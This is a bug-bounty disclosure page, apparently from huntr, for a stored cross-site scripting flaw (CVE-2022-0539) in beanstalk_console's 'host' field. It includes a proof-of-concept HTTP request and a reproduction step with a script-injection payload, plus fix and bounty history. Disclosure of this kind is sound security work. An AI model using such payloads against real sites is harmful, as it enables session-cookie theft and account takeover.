huntr

Cross-site Scripting (XSS) - Stored in ptrofimov/beanstalk_console

1



✓ Valid) Reported on Feb 8th 2022

Description

Stored XSS in parameter 'host' when add server

Proof of Concept

```
// PoC.req
GET / HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8088/
Cookie: PHPSESSID=annqppb7s8u647f8tquflpmfp4; beansServers=localhost%22%3E%
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
```



Step to Reproduct

Sec-Fetch-User: ?1

Goto Beanstalk console and choose to Add server

At field host input with payload: localhost"><sCrIpt>alert("XsS")</scRiPt>

Chat with us

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.

Occurrences



CVE

CVE-2022-0539 (Published)

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

Severity

Medium (6.3)

Visibility

Public

Status

Fixed

Found by



lethanhphuc

@noobpk

unranked 🗸

Fixed by



lethanhphuc

@noobpk

unranked V

We are processing your report and will contact the **ptrofimov/beanstalk_console** team within 24 hours. 10 months ago

lethanhphuc submitted a patch 10 months ago

lethanhphuc 10 months ago

Researcher

PR: https://github.com/ptrofimov/beanstalk_console/pull/184

ptrofimov validated this vulnerability 10 months ago

lethanhphuc has been awarded the disclosure bounty 🗸

The fix bounty is now up for grabs

ptrofimov marked this as fixed in 1.7.14 with commit 5aea5f 10 months ago

lethanhphuc has been awarded the fix bounty ✓

This vulnerability will not receive a CVE x

serversList.php#L72 has been validated ✓

serversList.php#L47-L49 has been validated ✓

main.php#L68 has been validated 🗸

main.php#L80 has been validated ✓

Sign in to join this conversation

huntr

home

. I G G I C I V I C y

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team